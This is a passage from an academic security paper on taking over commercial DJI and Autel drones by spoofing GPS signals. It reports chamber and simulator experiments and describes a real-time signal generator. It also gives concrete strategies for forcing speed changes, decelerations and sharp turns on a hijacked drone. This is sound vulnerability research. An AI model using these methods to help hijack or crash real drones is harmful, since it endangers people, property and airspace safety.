cles [70]. In contrast to these attacks, GPS spoofing has also
been explored as an active defense strategy, e.g., safely hi-
jacking UAVs off a protected area [16, 57]. Despite the above
demonstrations and the rapidly growing importance of UAVs,
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there are limited studies on the feasibility of precisely control-
ling unmanned vehicles, specifically commercial off-the-shelf
UAVs, by spoofing GPS signals. Prior work primarily focused
on disrupting or altering the motion of the unmanned vehi-
cle in a non-specific direction or performed the analysis on
standalone GPS receivers. Kern et al. [40] used simulations
to show the possibility of forcing the UAV in the desired
direction by manipulating the GPS velocity in the opposite
direction. However, this approach led to uncontrolled acceler-
ation in the simulated environment. Noh et al. [57] provides
a taxonomy of strategies to hijack consumer UAVs through
GPS spoofing. However, the discussed hijacking approaches
are limited to diverting the UAV in one direction, as they
don’t show the ability to maneuver the UAV, e.g., change the
direction after the initial hijacking.

Importantly, no previous work has examined and field-
tested such a controlled takeover of UAVs in a controlled
real environment outside of a simulator. This state of affairs
severely limits the available knowledge on the practicalities of
GPS spoofing attacks on modern UAVs. GPS measurements
are often fused with measurements from various sensors like
inertial sensors, vision sensors, and distance measurement
equipment. Given the tightly coupled nature of the system, it
is vital to examine the UAV system as a whole.

Consequently, this work aims to understand the feasibility
and the requirements of fully controlling a UAV’s movements
by spoofing GPS signals alone. We answer the following
research questions:

1. Can an entity (adversarial or active defense) precisely
control a UAV’s movement by spoofing appropriate GPS
signals?

2. What are the requirements and fundamental limitations
of such spoofing strategies?

Specifically, we make the following contributions:

• We perform an exhaustive experimental analysis on the
behavior of commercial-off-the-shelf (COTS) UAVs un-
der a GPS spoofing attack. We execute our over-the-air
spoofing experiments in a 15.24 x 15.24 x 6.7 m ane-
choic chamber equipped with a state-of-the-art motion
capture (MoCap) system from OptiTrack [35] that offers
precision tracking. Our setup enables us to characterize
the response of the UAVs to different spoofing attacks
for the first time in public literature. For experiments
that require observing the UAV’s behavior over longer
distances, we use Arducopter [5].

• Based on our experiments, we enumerate several chal-
lenges in accomplishing a complete UAV takeover
through GPS spoofing and controlling it without crash-
ing. For example, even with the complete knowledge of
the current state of the UAV, spoofing a pre-defined static
location can cause the UAV to move in an unpredictable
direction.

• We design and implement a Real-time GPS Signal Gen-
erator (RtGSG) that can be configured to generate any
arbitrary trajectory and is capable of making changes to
GPS signals in real time through user input. This enables
us to modify the spoofing signal based on observing the
UAV’s reactions in real time, giving us better control
of the UAV’s trajectory and speed. RtGSG can inter-
face with multiple software-defined radio frontends and
can be controlled using any peripheral device like a joy-
stick. Our signal generator can also interface with UAV
simulators (like Arducopter) and UAV tracking systems
(like OptiTrack), providing detailed analysis of the UAV
motion. We will release our implementation for further
research.

• We evaluate RtGSG on various UAVs from DJI and
Autel and analyze the degree to which we can control
the UAVs via GPS spoofing. We extract both generic
and UAV-specific strategies to achieve complete maneu-
vering control. We were able to manually control and
execute patterns like 180° turns through such a system
as demonstrated in the video1.

• Finally, we discuss limitations and highlight that COTS
UAVs remain vulnerable (e.g., can be forced to crash or
diverted away) to GPS spoofing. The complete takeover
and control of the UAV is challenging and requires care-
ful manipulation of the spoofing signals in real time.

The rest of the paper is organized as follows. In Section 2,
we first describe the UAV ecosystem and provide a back-
ground on GPS and GPS spoofing attacks. In Section 3, we
study the impact of conventional static-location spoofing and
dynamic-path spoofing against consumer UAVs, present in-
sights gained through these experiments, and lay down re-
quirements for a complete takeover. This is followed by Sec-
tion 4, where we implement and evaluate the real-time control
strategies we develop based on the challenges and require-
ments identified. Then, in Section 5, we discuss the technical
insights learned, the limitations, and the impact of our work.
Finally, we provide an overview of the related work and con-
clude this paper.

2 Background

2.1 UAV ecosystem
UAVs are categorized as consumer, commercial, or military.
With advancements in electronics and manufacturing, the lines
between these categories are diminishing. For example, terror
groups [61] have managed to make consumer UAVs combat-
ready. Today, even COTS UAVs are capable of beyond visual
line-of-sight operations with payload capacity from 500 g up

1Here is the link to a video demonstration of this attack. https://
www.youtube.com/watch?v=EtaQ_BQFn-M
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Figure 1: Schematic of a generic UAV flight controller archi-
tecture depicting various modules like sensor-fusion, position
and attitude control, flight recorder, communications unit, and
a battery of sensors.

to 200 kg [4], flight speed up to 70 kmph, and flight height of
more than 5 km above see level. Irrespective of their applica-
tion, UAVs generally implement the following architecture.
The main components of a UAV system are the vehicle itself,
the operator, a wireless radio controller, and a ground con-
trol station built specifically for managing autonomous flight.
Powerful onboard microprocessors act as flight controllers
capable of sensor fusion, navigation, advanced mission plan-
ning, and safety-critical decision-making. Refer to Figure 1
for a schematic representation of a generic flight controller
and its various components. Autonomous flight requires a pro-
grammed mission that includes a pre-defined trajectory with
waypoints where each waypoint of flight segment can have
its speed and altitude profile. Even consumer UAVs come
with a battery of sensors like GPS, vision sensors, inertial
sensors (IMUs), and various types of distance measurement
equipment (DME) that aid in navigation and position control
to provide safe and efficient flight.

Typical UAVs implement a proportional, integral, and
derivative (PID) controller for attitude and position control. It
is ultimately responsible for driving the motors that generate
thrust that moves the UAV as required. The flight controller
uses the outputs of the PID controller to determine how fast
the motors should spin to achieve and maintain the desired
attitude and position. The sensor-fusion algorithm which can
fuse measurements from various onboard sensors like GPS,
inertial measurement units, and opti-flow sensors provides the
input to this control loop. Some of the most widely adopted
sensor-fusion algorithms are based on an extended Kalman
filter (EKF).

Figure 2 shows a schematic of a typical PID controller
implementation for horizontal position control. A typical PID

- -P
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Figure 2: Schematic of a typical PID control sequence for
position control. First, the desired and actual positions error is
used to compute target velocity. Next, the errors calculated by
subtracting target and actual velocity are used by the controller
to set target roll and pitch. These target values govern how
fast the motors should spin to achieve the desired position
and attitude.

controller takes the form of:

u(t) = kPe(t)+ kI

∫ t

0
e(τ)dτ+ kD

de(t)
dt

(1)

where u(t) is required change, e(t) is the error in desired and
actual values and kP, kI , and kD are the respective gains. A
UAV that is set to hover; i.e., the desired location is a fixed
value, can experience a drift because of two factors: i) internal
measurement errors that arise because of inertial sensors that
drift and other faulty measurements; or ii) external factors
like wind or someone picking up the UAV and moving it to
a different position. When the UAV experiences such drifts,
the PID controller issues appropriate commands to actuators
that control the motors. This enables the UAV to maintain its
position.

These features collectively enable UAVs to carry out fully
autonomous flights. Moreover, vision sensors and distance
measurement equipment also provide automatic obstacle de-
tection and avoidance capability. Typically a UAV supports
the following flight modes: i) Manual: The operator is in
complete control of the vehicle, the flight controller does not
provide any stability control; ii) Stabilize/Loiter: in this mode,
the operator is responsible for position control and the flight
controller assists in stabilizing the UAV by taking over when
the operator does not provide any input and maintain altitude.
Additionally, this mode usually has roll and pitch restrictions
to maintain thrust. iii) Mission: A complete autonomous op-
erations mode where the flight controller governs the attitude
and the three-dimensional position; In this mode, the flight
controller executes a predetermined mission, usually a set of
waypoints in the form of GPS coordinates, with each flight
segment having its speed and altitude profile; and iv) Land:
This mode is usually activated at the end of a mission or as
a failsafe mechanism. The UAV automatically lands at the
current position or a pre-configured location in this mode,
usually its takeoff or home location.

The flight controller has certain predetermined operations,
called failsafes, that are triggered to ensure the vehicle’s safety
in case it encounters any errors in flight. These errors can

USENIX Association 31st USENIX Security Symposium    3505



result from faulty sensor measurements, loss of thrust, a mal-
functioning battery, or even high-speed winds. For example,
Autel UAVs will abort the current mission and land when
the battery runs out of charge [9]. Often such failsafes are
user-configurable. However, there are some terminal failsafes
that cannot be overridden, even through human intervention
e.g., EKF variance in ArduCopter and no-fly zone (NFZ) re-
strictions in DJI drones.

2.2 GPS background
The Global Positioning System (GPS), the most widely
used navigation system, consists of 292 operational satellites
roughly at an altitude of 20,200 km. These satellites continu-
ously transmit individual satellite ephemeris and timing data
at 50 bps, allowing a receiver to localize itself with respect to
known satellite positions. GPS provides a civilian positioning
service with accuracy up to 5 m on the L1 frequency [77]. In
this service, each satellite is assigned a unique publicly avail-
able coarse-acquisition (C/A) code that enables the receiver to
track and decode signals from different satellites transmitting
on the same carrier frequency through code-division multiple
access technology. The GPS receiver apparatus includes an
antenna and a signal processing chip that outputs a variety
of information, including; the receiver’s positionand the es-
timated altitude and velocity of the receiver vvv decomposed
into Easting ve and Northing vn velocity in m/s. While UAVs
support multiple satellite navigation constellations, GPS is
the typical constellation used across all UAV platforms and
manufacturers.

2.3 GPS spoofing attacks
Due to the lack of any form of authentication and public ac-
cess to satellite spreading codes, modulation techniques, and
data structure, GPS is vulnerable to signal spoofing attacks
which are physical-layer attacks where the attacker transmits
a pre-crafted signal that contains appropriate satellite mes-
sages. When the receiver uses these counterfeit signals, the
receiver calculates the position, navigation, and timing (PNT)
solution initially programmed by the attacker. This deceives
the receiver into believing that it is at the location spoofed by
the attacker rather than its actual position. An attacker can
achieve this by either manipulating the navigation messages
or modifying the time of arrival of these messages. Addi-
tionally, an attacker can reuse current navigation messages to
make the attack stealthier.

Broadly, there are two ways of hijacking a target GPS re-
ceiver. In the first method, an overshadow attack, the attacker
transmits fake GPS signals with enough power to bury the
legitimate signals under the noise floor. A receiver can easily
detect such an attack because of a sudden loss of lock. The
second way is a more stealthy approach. The attacker first

2As of January 1, 2022 - [2]
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Figure 3: A layout of the anechoic chamber equipped with
motion capture system, GPS signal generator, and the trans-
mission antenna. The RF amplifier is installed outside the
chamber to minimize EM interference inside the chamber.

synchronizes with the legitimate satellite signals. Once it is
synchronized, it increases the power of its signal and then
slowly starts adding code offsets that move the receiver away
from its actual location. In [72], the authors provide require-
ments for executing such an attack. In both these attacks, the
attacker’s objective is to hijack the receiver and deceive it into
believing it is at a location of the attacker’s choosing.

2.4 Attacker Goals and Assumptions
In our work, we consider an attacker capable of generating and
transmitting GPS signals. In attacking a UAV, an attacker’s
main goal is to force the UAV to move to a specific location by
spoofing GPS signals The UAV is assumed to be within the at-
tacker’s radio range and is able to receive the spoofing signals.
We also assume that the attacker has managed to takeover the
UAV’s GPS receiver by either a seamless takeover attack, as
explained in [63, 72], or through a non-coherent overshadow
attack. Prior work has extensively analyzed the spoofing vul-
nerability of standalone GPS receivers [39, 56, 62, 72]. The
received signal strength of the GPS signals on ground is typi-
cally around -127.5dBm and, hence, it is trivial for an attacker
to overshadow the legitimate signal with the adversarial sig-
nal.

Researchers have also demonstrated the ability to steer
yachts [55], cars [59], and drones [57, 70] to some extent
through various GPS spoofing experiments. In this work, we
focus on evaluating the UAV’s response to GPS spoofing and
strategies to fully control the UAV. In the following sections,
we describe the limitations of static location and dynamic path
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GPS Tx Controller
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Figure 4: A photo of our actual setup featuring RtGSG, Opti-
Track control panel, GPS Tx antenna, and DJI Mavic 2 Pro,
one of the target UAVs.

spoofing attacks that rely on pre-crafted signals on UAVs and
explore the possibility of asserting fine-grained control over
the UAV based on UAV’s retroactions to GPS spoofing and
the effect of these retroactions on the process of a complete
takeover.

3 Evaluation of Conventional GPS Spoofing
Attacks

The goal of this section is to categorize and analyze the re-
sponse of UAVs to pre-defined static-location spoofing and
dynamic-path spoofing. Specifically, we analyze the chal-
lenges and limitations of GPS spoofing and specify require-
ments to gain complete control of the target UAV. It is im-
portant to note that in this work we focus on evaluating the
UAV’s response to GPS spoofing and strategies to takeover
the UAV and not the receiver.

3.1 Evaluation Setup

Transmitting GPS signals over the air in an uncontrolled set-
ting is illegal. We perform over-the-air GPS spoofing experi-
ments in a 15.24 x 15.24 m shielded anechoic chamber that
provides more than 100 dB of attenuation. Given the tight
bounds of the chamber, we are limited to spoofing experi-
ments over shorter distances. The building materials used
in the chamber construction is a source of strong magnetic
interference, and hence the UAV requires constant calibration.
Despite the trade-off between safety and realism, the shield-
ing enables us to transmit GPS signals without running into
legal issues and without the need for tethered UAV operations.
Moreover, environmental factors that can affect UAV’s perfor-
mance, like wind and temperature, are virtually non-existent
inside the chamber. Reducing the effect of environmental

Figure 5: All UAVs that we used in our study. From top left,
i) Autel EVO II, ii) DJI Mavic Mini, iii) DJI Mavic Pro, iv)
DJI Mavic Air 2, and v) DJI Mavic 2 Pro.

factors ensures that the UAV’s motion is affected only by
the spoofed GPS locations, creating a best case setting for
evaluating attacker’s requirements to execute a UAV takeover
through GPS spoofing.

The anechoic chamber is equipped with a motion capture
system that runs 24 OptiTrack cameras that can track objects
with mm precision and are capable of providing live tracking
data at 120Hz [35]. It is important to note that the motion
capture system is only used for tracking and recording the
UAV’s motion. A GPS signal generator [25] with a USRP
B210 as the RF frontend was connected to a Ophir 5293 RF
amplifier [58] that supports output power upto 50W. The
output of the RF amplifier is fed to a ETS-Lindgren’s Model
3181 [27] omnidirectional antenna. Refer to Figures 3 and 4
for the schematic and the actual photo of our test setup.

We evaluate our attacks on UAVs manufactured by DJI [20]
and Autel [8], shown in Figure 5. DJI and Autel are two
leading consumer and commercial UAV manufacturers, with
almost 76% market share owned by DJI alone [36]. For tests
where the primary metric is distance, we used popular COTS
UAV simulator software that runs ArduCopter [5] firmware
alongwith Gazebo [64], an advanced physics and environment
simulator.

3.2 Preliminary Observations
Fallback sensors and non-GPS navigation: Modern
UAVs are equipped with vision sensors that can provide po-
sitioning information accurate up to 0.3 m horizontally and
0.1 m vertically [22]. UAVs typically fallback to vision posi-
tioning system in a GPS-denied environment. We began our
experiment by placing the UAV in the center of the test area
and instructed the UAV to take-off and maintain an altitude
of 2 m. Once we visually verified that the UAV was stable
we started introducing motion to the generated signals. In
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Figure 6: Comparison of UAV’s GPS measurements and its
actual motion. In spite of introducing a motion that takes the
GPS receiver for a ride, the UAV manages to hover. Ground
speed as calculated by the UAV’s GPS receiver shows a maxi-
mum speed of 5.4 m/s while the ground speed calculated from
OptiTrack data is constant at 0 m/s.

this experiment, the spoofed GPS signal introduces a motion
such that the receiver believes it is moving along a path 254
m long with a maximum speed of 5.4 m/s. In spite of intro-
ducing this type of motion, the target UAV did not budge
and hovered steadily in-place. It was only after we turned
off the vision sensors that the UAV reacted violently with
rapid acceleration to our spoofing. Figure 6 shows the result
of one such test where one can clearly see the UAV’s position
(as tracked by the motion capture system) being stable as
opposed to a change in GPS measurements. From this experi-
ment, we conclude that the target UAV was in fact prioritizing
vision sensor measurements for positioning and navigation
over GPS measurements. This shows that a UAV can survive
a GPS spoofing attack by relying on other available sensors.

However, there are some limitations associated with vision
sensors; these sensors require optimal lighting conditions and
can provide accurate guidance only up to an altitude of a few
meters. For example, DJI Mavic 3, the latest UAV from DJI,
provides vision positioning only up to a height of 18 m and
with flight speed < 6 m/s [23]. To evaluate the effect of GPS
spoofing on a UAV switching from vision to GPS positioning,
we disabled the downward vision sensors in-flight to simulate
a scenario where the UAV is flying at an altitude greater than
18 m. As soon as we disabled the downward vision sensors,
the UAV reacted by accelerating rapidly, eventually crashing
into the RF energy-absorbing foam. This incident prompted
us to find a suitable target velocity that will allow us to observe
the UAV’s reaction without creating a safety hazard. We tested
multiple target velocities and narrowed down to a suitable
velocity using the UAV simulator. For this we used a trial and
error method for different velocity configurations. The initial
acceleration of the UAV is directly related to the spoofed GPS
velocity and is evident from Figure 7.
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Figure 7: Results of first 5 s of the UAV’s reaction to different
spoofed GPS velocities. For higher GPS velocities, the UAV’s
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Figure 8: EKF variance test ratios as calculated by Ar-
duCopter. At point A, the UAV arms and starts to takeoff,
at point B, it completes takeoff. At point C, the attacker starts
spoofing west at 2.5 m/s and at point D, the UAV activates a
terminal failsafe and permanently switches to LAND mode.

Terminal failsafes: Some autopilot software like Ar-
duCopter and PX4 implement what we define as a terminal
failsafe. When such a failsafe is activated, the UAV switches
to LAND mode. The flight controller calculates the position
and velocity test ratios using EKF innovations after sensor
fusion and triggers a failsafe if these test ratios exceed a pre-
determined threshold [6]. Figure 8 shows the effect of GPS
spoofing on EKF test ratios where GPS velocity is set to 2.5
m/s. In ArduCopter, when the flight controller switches to
LAND mode, it still tries to maintain horizontal position by
relying on GPS. Depending on the altitude of the UAV, the
attacker has very limited time to further control it.

3.3 Impact of Spoofing a Static Location

Despite of all the sensors and the non-GPS navigation systems
that can be incorporated in a UAV, GPS still remains the most
important navigation system. And unlike non-GPS systems,
it also poses a greater threat. Even a naive adversary that
can only transmit static location can still cause considerable
damage to the UAV. In this experiment, we evaluate the final
bearing of the UAV with respect to its take-off position and
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Figure 9: A comparison of 10 simulated flights where the
attacker executes a naive static single location spoofing attack.
The box plot shows the statistics of the distance covered by
each flight before a terminal failsafe is activated.

distance that the UAV travels before it looses thrust or till any
failsafes are activated. These experiments are conducted in a
simulator and in real-world settings.

In this experiment, the UAV is programmed to hover at a
certain location. The attacker spoofs the UAV’s actual loca-
tion, a single static location, i.e., the spoofed location remains
unchanged throughout the attack. The objective of the attacker
in this type of an attack can be to force the UAV to stop and
hover. Even though this seems benign, in our experiments
we found that the UAV’s response is unpredictable and un-
controllable. Flight controllers use EKF-based sensor fusion
algorithms for state estimation, which provides the UAV with
increased stability during flights. The UAV’s uncontrolled
movement can be attributed to the lack of the correction that
is required to control the drift and biases that develop in in-
ertial measurements. Because of the IMU drifts, the position
and velocity estimates obtained from EKF differ from GPS
measurements. As a direct result of the discrepancy in these
two measurements, the flight controller accelerates to compen-
sate for the difference. Since the PID controller implements
a feedback loop, the errors propagate and force the flight
controller to make more drastic corrections.

To execute this attack, we configured the GPS signal gen-
erator to transmit a fixed static location. ArduCopter starts
drifting and eventually triggers an EKF variance failsafe as
result of position and velocity error accumulation. Once the
flight controllers trigger the EKF failsafe, the UAV switches
to LAND mode and aborts any ongoing mission. For this ex-
periment, our evaluation metrics are the distance the UAV
travels before an EKF failsafe is triggered, the final bearing of
the UAV, and the bearing in the first 10 seconds of the flight.
The difference in the final bearing and in the first 10 s shows
how unpredictable such an attack can be. The results of these
flights are summarized in Figure 9. The average flight distance
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Figure 10: A comparison of 30 flights with a naive attacker.
The target of these attacks is a DJI Mavic 2 Pro. The final
bearing of these flights show that the UAV’s behavior is un-
predictable and uncontrollable.

was 1861.83 m with a standard deviation of 406.39 m.
This shows that not only is the direction random and un-

controllable, but the distance it covers is also unpredictable.
This makes such an attack very unreliable, especially if the
attacker requires the UAV to reach a specific location. A sim-
ilar experiment was performed on DJI Mavic 2 Pro; given
the space constraints of the anechoic chamber, the evaluation
metric was just the bearing. The results of this experiment are
summarized in Figure 10. Unlike the results of the simulator,
the real UAV shows a lot of variation in terms of final bearing.
Real sensors are deeply affected by environmental factors
and often require re-calibration for normal operations. Such
factors generally do not apply to the built-in configurations
available in simulators, illustrating the limits of their utility.

3.4 Impact of Spoofing a Dynamic Path
In this experiment, our goal is to analyze and understand the
behavior of a UAV subject to dynamic-path spoofing. We
evaluated this attack entirely on real UAVs with live over-
the-air GPS signals. After take-off the UAV is set to hover
at its current location. The objective of the attacker is to
transmit a signal that forces the UAV to move away from its
current position in a direction of attacker’s choosing. In this
attack scenario, we pushed the GPS receiver away from its
original position by generating a spoofing signal that moves
in a specific direction.

In a dynamic-path spoofing scenario, after a successful
GPS takeover, the attacker adds velocity to the spoofed loca-
tions and deceives the UAV into perceiving that it is moving
with a heading of α°. This activates the attitude and position
control mechanism and forces the UAV to move in the op-
posite direction i.e., (α−180)°. The UAV’s reaction to such
an attack is shown in Figure 11. Consider a UAV that is at
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Figure 11: Target UAV’s response to dynamic path spoofing.
When subjected to a GPS signal that simulates a motion in
the direction of point B, the UAV responds by moving in the
direction of point C.

point A, the attacker introduces a GPS signal that deceives
the UAV’s GPS receiver into believing that it is moving to-
wards point B. As a result, the UAV starts moving towards
point C. For evaluating dynamic path spoofing scenario, we
executed 5 flights in each of the 4 directions, i.e., north, south,
east, and west w.r.t to the origin. Based on the results of our
vision to GPS positioning transition experiment described in
Section 3.2 and the tight space constraints, the magnitude of
the spoofed velocity was set to 0.1 m/s. The sequence of each
flight was as follows: i) the UAV takes off, ii) once stable, the
operator switches to “GPS Only” mode to simulate higher
altitude, iii) the spoofer is activated, and iv) as the UAV gets
closer to the walls, the operator intervenes and lands the UAV
manually. Figure 12 shows the response of the target to a
spoofed velocity vector vvven = [−0.1,0] that forces the UAV to
fly east. Figure 13 shows the error in final bearing of all 20
flights. In all these experiments, we observed that the UAV
reacts as expected and goes in the expected direction with an
average error of 2.56°. As a next step, we introduced a second
change in the direction. Specifically, we changed the direction
of the spoofed trajectory by 90°. This strategy showed limited
success, only 3 out of 17 flights followed the required change
in bearing. Moreover, without any velocity control the target
flies a curve, making it impossible to achieve sharp turns be-
cause of the momentum that the UAV already developed due
to the spoofing attack.

3.5 Key Insights and Lessons Learned

The UAV’s response to GPS spoofing can be attributed to
the correction maneuver enforced by the position and attitude
control described in Section 2.1. The PID controller responds
to the changes in the UAV’s actual position and velocity mea-
surements derived from sensor fusion by providing control
inputs to compensate for the error between the desired and the
actual position. Recall Equation (1), over a period of time as
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Figure 12: Position, velocity and acceleration data for the
takeover of a DJI Mavic 2 Pro. The position data was obtained
from a motion capture system. At point A we start introducing
a motion as vvven and at point B the operator intervenes once
the UAV gets closer to the wall.

a result of the integral (kI
∫ t

0 e(τ)dτ), the errors are magnified
and the corrections to even small errors get more aggressive.
As a result, the UAV tries harder to overcome the error. Since
the spoofed location is consistently going away from the orig-
inal position, the UAV keeps increasing its velocity as a result
of aggressive corrections explained earlier. In Figure 12, the
target’s velocity keeps increasing until the operator takes over.

The UAV achieves the required acceleration by manipulat-
ing its pitch and roll. The thrust value TTT required to maintain
its altitude and to stay afloat is given by

T =
mg

cosθcosφ
(2)

where θ and φ are pitch and roll, respectively. Accord-
ing to its dynamics, the quadcopter fulfills the acceleration
requirement by manipulating the pitch and the roll. As the
magnitude of corrections increases, the magnitude of required
acceleration also increases. In order to achieve the desired
acceleration, the UAV tilts3 so much that it is no longer able
to generate enough thrust to keep itself afloat. As a result, it
will lose altitude and crash. From this, we conclude that even
if the UAV goes in the specified direction with minimal direc-
tional errors, the attacker’s control over the target is limited
only to the direction in which the UAV goes, and the attacker
has no control over UAV’s speed. From these experiments we
understand that:

• Spoofed GPS velocity induces acceleration in the UAV
3A combination of pitch and roll.
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Figure 13: A boxplot of error in final bearing against the ex-
pected bearing. Five flights were carried out for each expected
bearing. A trajectory was generated as described in Section 3.

• A UAV will continue accelerating in the initially spoofed
direction until it runs out of battery or crashes

• Complete control of the UAV requires direction control
as well as speed control

As explained Section 3.4, in such an attack the attacker
can only control the direction and not the speed. Even if
the attacker changes the direction of spoofed trajectory, the
attacker is unable to change the direction of the UAV.

Consequently, we establish that the attacker should be able
to force the UAV to execute four specific maneuvers to con-
stitute a complete takeover of the UAV. These are i) flight
with constant direction, ii) flight with constant velocity, iii)
flight with variable direction, e.g., the ability to make tight
turns in an environment with strict mobility constraints like
an urban setting, and iv) land. These specific maneuvers en-
sure complete control over the direction of the UAV and the
distance it travels. The attack strategies proposed by various
researchers in the past do not fulfill these requirements, mak-
ing the proposed attacks uncontrollable. Moreover, terminal
failsafes like EKF variance bounds make it even more difficult
to effectively exert control over the target UAV. We identified
that for complete takeover we need: i) a GPS signal generator
capable of user-controlled real-time trajectory manipulation
and ii) a strategy for controlling the acceleration of the UAV.
In the following section, we outline the strategies that we
developed to address the challenges mentioned above through
experiments.

4 Real-time Control of UAV via GPS Spoofing

Based on the insights described above, we conclude the re-
quirement for dynamically manipulating GPS signals in real

RF FrontendGPS  
Signal Generator

Satellite ephemeris 
(RINEX)

Generator configuration

UAV Simulator

Feeder (lat, lon, h)

Velocity vectors 
(ve, vn) / (spd, brng)

Positions  
(lat, lon, h)

OR

Figure 14: A schematic of RtGSG’s architecture showing the
feeder capable of using positions or velocity vectors with an
optional link to send the coordinates directly to a UAV simu-
lator, the GPS signal generator that generates raw IQ samples
and interfaces with an RF frontend capable of transmitting
the generated GPS signals.

time based on a UAV’s response to the spoofing signal. In this
section, we present our real-time GPS signal generator that
addresses this need. We also propose and evaluate strategies
for post-takeover direction and velocity control.

4.1 Real-time GPS Signal Generator

Commercially available off-the-shelf hardware and open-
source software GPS signal generators are often limited to
predetermined trajectories, i.e., they are not capable of user-
controlled real-time trajectory manipulation. This is a require-
ment that we identified in the previous section. To facilitate
this requirement, we built the Real-time GPS Signal Gen-
erator (RtGSG), a GPS signal generator system that allows
real-time trajectory manipulation. This system is based on an
open-source GPS signal simulator, GPS-SDR-SIM [25]. Rt-
GSG comprise three main components as shown in Figure 14:
i) feeder, ii) GPS signal generator, and iii) RF front-end.

The feeder can accept a set of predefined trajectories
in the form of a time series that contains positions P =
{p1, p2, p3, .., pn} where pi = (latitude, longitude,height) or
an initial location and velocity vector4 vvven as [ve,vn] (East-
ing and Northing) or as speed and bearing. The feeder can
also accept velocity vectors through human interface devices
like a keyboard or a joystick. This is especially useful in our
Human-in-the-Loop (HITL) spoofing system where a user
can manipulate the GPS signal using a keyboard or joystick,
similar to playing a video game. The feeder is responsible for
computing the correct location and time and updating the GPS
signal generator. The GPS signal generator receives the loca-

4We use the following units: all positions are in decimal degrees, velocity
is in m/s and bearing is in degrees w.r.t to north, unless stated otherwise.
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Figure 15: A comparison between two test flights with and
without velocity control. At points B and C, the operator takes
over. Without velocity control, the UAV keeps accelerating.

tions, constructs the navigation message using the supplied
satellite ephemeris data in RINEX [31] format, modulates the
message, and generates raw IQ samples. Following the gener-
ation of IQ samples, the RF front-end module interfaces with
software-defined radios like USRPs [37] and LimeSDRs [46]
that can transmit the generated samples in real time. It is
important to avoid any type of hardware-dependent sample
drops as they can cause the target receiver to lose the GPS
lock. Sample generation and consumption should be synchro-
nized to avoid buffering IQ samples that can lead to posi-
tion/time jumps. These modules enable RtGSG to manipulate
trajectories and transmit the generated signals on-demand, in-
stantly, and precisely. We will release RtGSG to the scientific
community for further research.

4.2 Strategy for Velocity Control

As demonstrated in Section 3.4, a conventional fire-and-forget
attack with predetermined trajectories ensures that the UAV
goes in a specific direction, but the lack of speed control makes
the UAV uncontrollable. At a high level, our system achieves
velocity control by deceiving the target into believing that the
correction has worked. Then, due to the correction maneu-
ver it executes, it approaches the “target position”. However,
since the integral term responds to errors from the past, it can
often overshoot the target. A PID controller is designed to
compensate for this and handle overshoots.

From the lessons learned in Section 3.5, GPS velocity in-
duces acceleration in the target UAV, and the direction of
the acceleration vector depends on the direction of the GPS
velocity vector with respect to its original position. Hence, as
the spoofed location approaches the target position, the UAV
gradually decelerates. However, the UAV does not immedi-
ately stop its motion when the onboard receiver indicates it
has arrived at the target position. As a result of initial spoof-
ing, the UAV has already gained momentum and needs to
overcome that. On the other hand, even if the attacker “jumps”
to the original location, the UAV faces a similar issue, and
hence the UAV continues its motion. Thus, the attacker needs
to simulate a motion that resembles a UAV’s correction ma-

neuver.
In reality, the UAV can be considered as a black box, and

hence the attacker does not have access to the correction
model implemented by the target UAV. To overcome this is-
sue, we came up with a strategy to identify the reaction time
of the UAV. The attacker can learn the reaction time by ob-
serving the target’s response during the course of the attack,
specifically the time it takes to achieve the spoofed velocity.
Alternatively, the attacker can also estimate this value using
quantities such as maximum angular velocity, the maximum
tilt angle, and the total thrust that the UAV can generate. Prod-
uct specifications and data sheets make these values readily
available for consumer and commercial UAVs. Moreover, con-
sumer and commercial UAVs are mass-produced, and hence
they have set standards that make variations amongst these
values within a specific model unlikely. However, certain en-
vironmental factors and biases unique to individual sensor
units may affect these values.

For a spoofed velocity of vvvat , the target UAV responds by
tilting and accelerating to catch up with the GPS velocity.
The UAV experiences a lag in achieving the target velocity.
We define this lag as the UAV’s reaction time. However, the
UAV’s objective is to correct the position error. Therefore,
even if the UAV achieves the target velocity, it is still away
from the target position, and hence it continues the correction.
This reaction time provides us with the average acceleration of
the UAV. We use this value to time the spoofed GPS signal’s
return to launch (RTL) maneuver where the spoofed trajectory
starts moving back to the initial position rather than away from
it. This is done by changing the direction of vvvat by 180°, i.e.,
the new spoofed velocity vvv′′′at =−vvvat . This maneuver causes
the UAV to decelerate. We identified that a well-timed spoofed
GPS velocity-induced acceleration/deceleration routine could
be used to control the velocity of the UAV — the key is to
maintain an average acceleration of 0 m/s2. In Figure 15, we
show post-takeover velocity control in action by maintaining
the UAV’s velocity under a maximum target velocity of 0.5
m/s. To further analyze the effectiveness of this technique,
we perform 48 flights that make use of the same reaction
time value to control the velocity, and the results are shown
in Figure 16. For this experiment, the post-takeover UAV
velocity was set to 0.5 m/s. In 56.25 % of all 48 flights, we
managed to maintain average acceleration below 0.015 m/s2.
For 81.25% of the flights, we were able to maintain an average
|vvv| below the set maximum target velocity of 0.5 m/s with
average observation time5 of 19.4 s.

4.3 Strategy for Direction Control
As mentioned in Section 3.4, just changing the direction of the
spoofed trajectory is not sufficient because of the momentum
that the UAV already has gained. To make a controlled turn,

5The time duration of the active spoofing attack is the time for which
GPS signals entirely control the UAV.
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Figure 16: The average and standard deviation of instanta-
neous acceleration values of 48 flights with our velocity con-
trol algorithm. Flights with near-zero average acceleration
achieve constant velocity.
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Figure 17: Effect of the proposed deceleration maneuver on
the velocity of the target UAV. Notice the downward trend
of the velocity post deceleration maneuver completion. An
attacker can control the rate of deceleration by controlling the
spoofed velocity.

it is vital to first null the UAV’s velocity components ve and
vn. In other words, the UAV must be stopped momentarily
to enable sharp turns. The velocity control mechanism that
we developed earlier was used to decelerate the UAV and
reduce its speed to 0 m/s before changing the direction. To
achieve this, we transmit a GPS signal that forces the UAV to
decelerate for a longer duration, enough for the UAV to get its
velocity to stay close to 0 m/s. Figure 17 shows the decelera-
tion sequence that we developed. Notice how the spoofed Ve
shifts between -0.1 m/s and 0.2 m/s. Figure 18 shows a repre-
sentative flight where we employ the deceleration sequence
to force the UAV to make a sharp 90° turn towards north.

4.4 Human-in-the-Loop (HITL) GPS Spoofing
Through all our experiments, we learned that precise real-
time control requires us to control the acceleration of the
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Figure 18: The target is executing a controlled sharp 90° turn.
The attacker first forces the UAV to fly east. Then, at point B,
the attacker starts the deceleration sequence, and at point D,
the attacker forces the 90° turn.

target UAV. When the reaction time strategy fails, or the at-
tacker cannot enumerate the reaction time, we need a feedback
mechanism to observe the target’s response to GPS spoofing
and manipulate the spoofed trajectory accordingly. With the
lessons learned through our spoofing experiments and the real-
time capabilities of the GPS signal generator, we finally built
